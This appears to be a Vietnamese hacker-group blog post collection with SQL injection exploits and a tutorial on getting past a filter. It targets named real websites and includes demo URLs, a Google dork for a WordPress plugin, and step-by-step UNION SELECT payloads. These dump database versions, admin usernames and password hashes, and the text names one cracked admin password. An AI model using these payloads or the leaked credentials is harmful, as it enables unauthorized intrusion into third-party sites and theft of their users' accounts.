http://h3x4r/forum/ajax.php?do=inforum&result=10&listforumid=1,2,5 ) UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10-- -
Demo:
http://diendan.gate.vn/game/ajax.php?do=inforum&result=12&listforumid=-932 ) union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10-- -

http://sinhvientayan.com/forum/ajax.php?do=inforum&result=14&listforumid=-16 ) union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11-- -

http://www.cin1team.biz/ajax.php?do=inforum&result=15&listforumid=-14 ) /*!union select*/ 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11-- -

Thứ Hai, 29 tháng 10, 2012

WordPress Blog Exploit |inurl:"fbconnect_action=myhome"

search google: inurl:"fbconnect_action=myhome"
thay
?fbconnect_action=myhome&userid=

bằng
?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z​0mbyak,7,8,9,10,11,12+from+wp_users--

demo :

http://boneramamusic.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+%20select+1,2,3,4,5,concat(user_login,0x3a,user_pass)%20z%E2%80%8B0mbyak,7,8,9,10,11,12+from+wp_users--

Chủ Nhật, 28 tháng 10, 2012

[TUT] Bypass Filter + 403 Forbidden SQL Injection

Mọi người cùng tham khảo cách bypass nhé !



Victim :


check lỗi :
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
-> Lỗi rồi nhé ! tiếp tục order
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'der by 1-- -' at line 1
đến đây ta thấy ! Filter đã được sử dụng , và nó đã cắn mất kí tự "or" trong "order by 1-- -" mà ta nhập

nó cắn mất thì ta thêm lại. bypass nó như sau :

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1-- -' at line 1
-> Vẫn không được rồi . Bypass /*!*/ tiếp nhé :
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 1-- -
Quote:
Một số hình ảnh mới về Spa Adam
Posted on 2012-03-15 14:37:25
-> Okay ! không lỗi rồi. giờ ta tiếp tục order ( đoạn này mình không giải thích nhiều, ai chưa hiểu thì xem tut cơ bản hơn nữa ) :
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 7-- -
Quote:
Unknown column '7' in 'order clause'
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 6-- -
Quote:
Một số hình ảnh mới về Spa Adam
Posted on 2012-03-15 14:37:25
-> Có 6 column .

Ta tiếp tục UNION SELECT -> tìm cột lỗi để khai thác

Quote:
http://spaadam.com/vi/news.php?newsid=-108 UNION SELECT 1,2,3,4,5,6-- -
Quote:
403 Forbidden
Bypas bằng /*!UNION*/
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNION*/ SELECT 1,2,3,4,5,6-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5,6-- -' at line 1
Có lẽ nào em nó đã cắn mất UNION SELECT của mình  !

Bypass :

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -
Ô_Ô không thấy cái gì rồi ! giờ thay 108 bằng Null nhé 
Quote:
http://spaadam.com/vi/news.php?newsid=Null /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -
-> Vô nghĩa !

Tiếp tục thử thay số bằng Null ( 1,2,3,4,5,6 = Null,Null,Null,Null,Null,Null )

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,Null,Null-- -
Đối với việc thay số bằng nulll như thế này ! ta có thể khai thác thử từng vị trí Null khác nhau để tìm vị trí Null lỗi rồi tiếp tục khai thác .
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,version(),Null-- -
Vị trí Null số 5 đã lỗi và xuất hiện kết quả nhưng đã bị mất ở đầu .
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.9-MariaDB-mariadb102' at line 1
giờ dùng cách sau +kết hợp bypass để nó ra đầy cmn đủ 
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!concat(0x7c,version())*/,Null-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|5.2.9-MariaDB-mariadb102' at line 1
có version rồi ! giờ ta tiếp tục khai thác table + kết hợp bypass /*!*/ ở Null thứ 5
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!from*/ information_schema./*!tables*/ where table_schema=database()-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './*!tables*/ where table_schema=databe()-- -' at line 1
Nó cắn đi khá nhiều "from information_schema" và cả as của database

như lúc order by với union. nó cắn ở đâu thì ta vá lại ở đó :

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ information_schema./*!tables*/ where table_schema=databaasse()-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'infmation_schema./*!tables*/ where table_schema=database()-- -' at line 1
bypass được 2 thứ . kết quả show ra còn 1 thứ nữa. mất or trong từ information

Nào cùng vá lại nó :

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ infoorrmation_schema./*!tables*/ where table_schema=databaasse()-- -
Quote:
Unknown column 'admin' in 'where clause'
Ra table admin luôn. khỏi cần dùng limit để tìm em nó 

tiếp tục khai thác column trong table admin

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!column_name*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -
Quote:
Posted on
Nhưng Khi :
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!group_concat(column_name)*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'username,password' at line 1
okê rồi ! giờ đã có 2 column cần khai thác. giờ tiến tới data
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ admin-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Không ra cái gì . Bị cắn phần đuôi . chắc là đã mất từ admin. vá cả cái admin
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column 'admin' in 'where clause'
Nick admin là admin
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!password*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column 'pswd' in 'field list'
pswd hiện ra nhưng đây không phải password của nó ! 

mà là password đã bị nó cắn thôi. giờ TÁT vỡ mồm nó vì cái tội cắn từ đầu đến cuối nhé

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!paassswoorrd*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column '5f8f9e33bb5e13848af2622b66b2308c' in 'where clause'
Nick: admin
Pass: vietnam ( anh em gg táng 5f8f9e33bb5e13848af2622b66b2308c vào nhé  )

Tut hết tại đây. Có gì sai sót mong anh em góp ý 

Kẻ Chọc Giận - VNHACKGROUP.NET